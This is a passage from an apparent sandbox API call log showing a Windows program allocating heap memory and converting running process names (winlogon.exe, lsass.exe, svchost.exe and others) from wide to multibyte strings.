(HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8ea60 [0252.836] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x948440 [0252.836] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="winlogon.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0252.836] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x948368 [0252.836] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="winlogon.exe", cchWideChar=12, lpMultiByteStr=0x948368, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="winlogon.exe", lpUsedDefaultChar=0x0) returned 12 [0252.836] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x948488 [0252.836] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x948368) returned 1 [0252.836] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x948488) returned 1 [0252.836] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x948488 [0252.837] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x948488) returned 1 [0252.837] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x58) returned 0x9521d8 [0252.837] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8eae8 [0252.837] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x948488 [0252.837] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0252.837] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x948368 [0252.837] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services.exe", cchWideChar=12, lpMultiByteStr=0x948368, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services.exe", lpUsedDefaultChar=0x0) returned 12 [0252.837] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x9484d0 [0252.837] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x948368) returned 1 [0252.837] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9484d0) returned 1 [0252.837] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x9484d0 [0252.837] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9484d0) returned 1 [0252.837] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x58) returned 0x952238 [0252.837] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8eb70 [0252.837] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x9484d0 [0252.837] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsass.exe", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0252.837] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x948368 [0252.837] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsass.exe", cchWideChar=9, lpMultiByteStr=0x948368, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsass.exe", lpUsedDefaultChar=0x0) returned 9 [0252.837] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x948518 [0252.837] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x948368) returned 1 [0252.837] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x948518) returned 1 [0252.837] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x948518 [0252.837] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x948518) returned 1 [0252.837] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x58) returned 0x952298 [0252.838] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8ebf8 [0252.838] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x948518 [0252.838] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsm.exe", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0252.838] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x948368 [0252.838] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsm.exe", cchWideChar=7, lpMultiByteStr=0x948368, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsm.exe", lpUsedDefaultChar=0x0) returned 7 [0252.838] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x948560 [0252.838] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x948368) returned 1 [0252.838] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x948560) returned 1 [0252.838] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x948560 [0252.838] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x948560) returned 1 [0252.838] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x58) returned 0x9522f8 [0252.838] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8ec80 [0252.838] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x948560 [0252.838] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0252.838] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x948368 [0252.838] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x948368, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0252.838] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x9485a8 [0252.838] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x948368) returned 1 [0252.838] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9485a8) returned 1 [0252.838] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x9485a8 [0252.838] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9485a8) returned 1 [0252.838] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x58) returned 0x952358 [0252.838] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8ed08 [0252.838] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x9485a8 [0252.838] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0252.838] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x948368 [0252.839] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x948368, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0252.839] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x9485f0 [0252.839] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x948368) returned 1 [0252.839] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9485f0) returned 1 [0252.839] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x9485f0 [0252.839] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9485f0) returned 1 [0252.839] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x58) returned 0x9523b8 [0252.839] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8ed90 [0252.839] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x9485f0 [0252.839] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0252.839] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x948368 [0252.839] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x948368, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0252.839] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x948638 [0252.839] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x948368) returned 1 [0252.839] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x948638) returned 1 [0252.839] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x948638 [0252.839] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x948638) returned 1 [0252.839] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x58) returned 0x952418 [0252.839] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8ee18 [0252.839] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x948638 [0252.839] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0252.839] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x948368 [0252.839] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x948368, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0252.839] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x948680 [0252.839] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x948368) returned 1 [0252.839] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x948680) returned 1 [0252.840] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x948680 [0252.840] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x948680) returned 1 [0252.840] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x58) returned 0x952478 [0252.840] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8eea0 [0252.840] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x948680 [0252.840] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0252.840] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x948368 [0252.840] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x948368, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0252.840] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x9486c8 [0252.840] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x948368) returned 1 [0252.840] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9486c8) returned 1 [0252.840] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x9486c8 [0252.840] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9486c8) returned 1 [0252.840] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x58) returned 0x9524d8 [0252.840] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8ef28 [0252.840] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x9486c8 [0252.840] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiodg.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0252.840] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x948368 [0252.840] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiodg.exe", cchWideChar=11, lpMultiByteStr=0x948368, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiodg.exe", lpUsedDefaultChar=0x0) returned 11 [0252.840] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x948710 [0252.840] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x948368) returned 1 [0252.840] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x948710) returned 1 [0252.840] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x948710 [0252.840] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x948710) returned 1 [0252.840] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x58) returned 0x952538 [0252.840] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8efb0 [0252.841] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x948710 [0252.841] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0252.841] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x948368 [0252.841] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x948368, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0252.841] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x948758 [0252.841] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x948368) returned 1 [0252.841] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x948758) returned 1 [0252.841] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x948758 [0252.841] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x948758) returned 1 [0252.841] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x58) returned 0x952598 [0252.841] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8f038 [0252.841] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x948758 [0252.841] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="userinit.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0252.841] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x948368 [0252.841] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="userinit.exe", cchWideChar=12, lpMultiByteStr=0x948368, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="userinit.exe", lpUsedDefaultChar=0x0) returned 12 [0252.841] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x9487a0 [0252.841] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x948368) returned 1 [0252.841] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9487a0) returned 1 [0252.841] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x9487a0 [0252.841] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9487a0) returned 1 [0252.841] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x58) returned 0x9525f8 [0252.841] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8f0c0 [0252.841] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x9487a0 [0252.841] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0252.842] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x948368 [0252.842] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer.exe", cchWideChar=12, lpMultiByteStr=0x948368, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="explorer.exe", lpUsedDefaultChar=0x0) returned 12 [0252.842] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x9487e8 [0252.842] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x948368) returned 1 [0252.842] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9487e8) returned 1 [0252.842] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x9487e8 [0252.842] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9487e8) returned 1 [0252.842] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8f148 [0252.842] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x948320) returned 1 [0252.842] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x58) returned 0x942868 [0252.842] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8f1d0 [0252.842] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x948320 [0252.842] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dwm.exe", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0252.842] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x9487e8 [0252.842] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dwm.exe", cchWideChar=7, lpMultiByteStr=0x9487e8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dwm.exe", lpUsedDefaultChar=0x0) returned 7 [0252.842] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x948368 [0252.842] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9487e8) returned 1 [0252.842] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x948368) returned 1 [0252.842] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x948368 [0252.842] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x948368) returned 1 [0252.842] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x58) returned 0x9428c8 [0252.842] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8f258 [0252.842] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x948368 [0252.842] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0252.843] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x9487e8 [0252.843] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x9487e8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0252.843] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x948830 [0252.843] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9487e8) returned 1 [0252.843] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x948830) returned 1 [0252.843] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x948830 [0252.843] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x948830) returned 1 [0252.843] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x58) returned 0x942928 [0252.843] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8f2e0 [0252.843] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x948830 [0252.843] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="spoolsv.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0252.843] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x9487e8 [0252.843] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="spoolsv.exe", cchWideChar=11, lpMultiByteStr=0x9487e8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="spoolsv.exe", lpUsedDefaultChar=0x0) returned 11 [0252.843] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x948878 [0252.843] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9487e8) returned 1 [0252.843] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x948878) returned 1 [0252.843] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x948878 [0252.843] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x948878) returned 1 [0252.843] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x58) returned 0x942988 [0252.843] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8f368 [0252.843] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x948878 [0252.843] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dllhost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0252.843] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x9487e8 [0252.843] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dllhost.exe", cchWideChar=11, lpMultiByteStr=0x9487e8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dllhost.exe", lpUsedDefaultChar=0x0) returned 11 [0252.843] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x9488c0 [0252.843] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9487e8) returned 1 [0252.843] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9488c0) returned 1 [0252.844] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x9488c0 [0252.844] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9488c0) returned 1 [0252.844] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x58) returned 0x9429e8 [0252.844] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8f3f0 [0252.844] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x9488c0 [0252.844] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="taskhost.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0252.844] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x9487e8 [0252.844] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="taskhost.exe", cchWideChar=12, lpMultiByteStr=0x9487e8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="taskhost.exe", lpUsedDefaultChar=0x0) returned 12 [0252.844] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x948908 [0252.844] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9487e8) returned 1 [0252.844] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x948908) returned 1 [0252.844] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x948908 [0252.844] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x948908) returned 1 [0252.844] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x58) returned 0x942a48 [0252.844] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8f478 [0252.844] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x948908 [0252.844] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0252.844] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x9487e8 [0252.844] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x9487e8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", 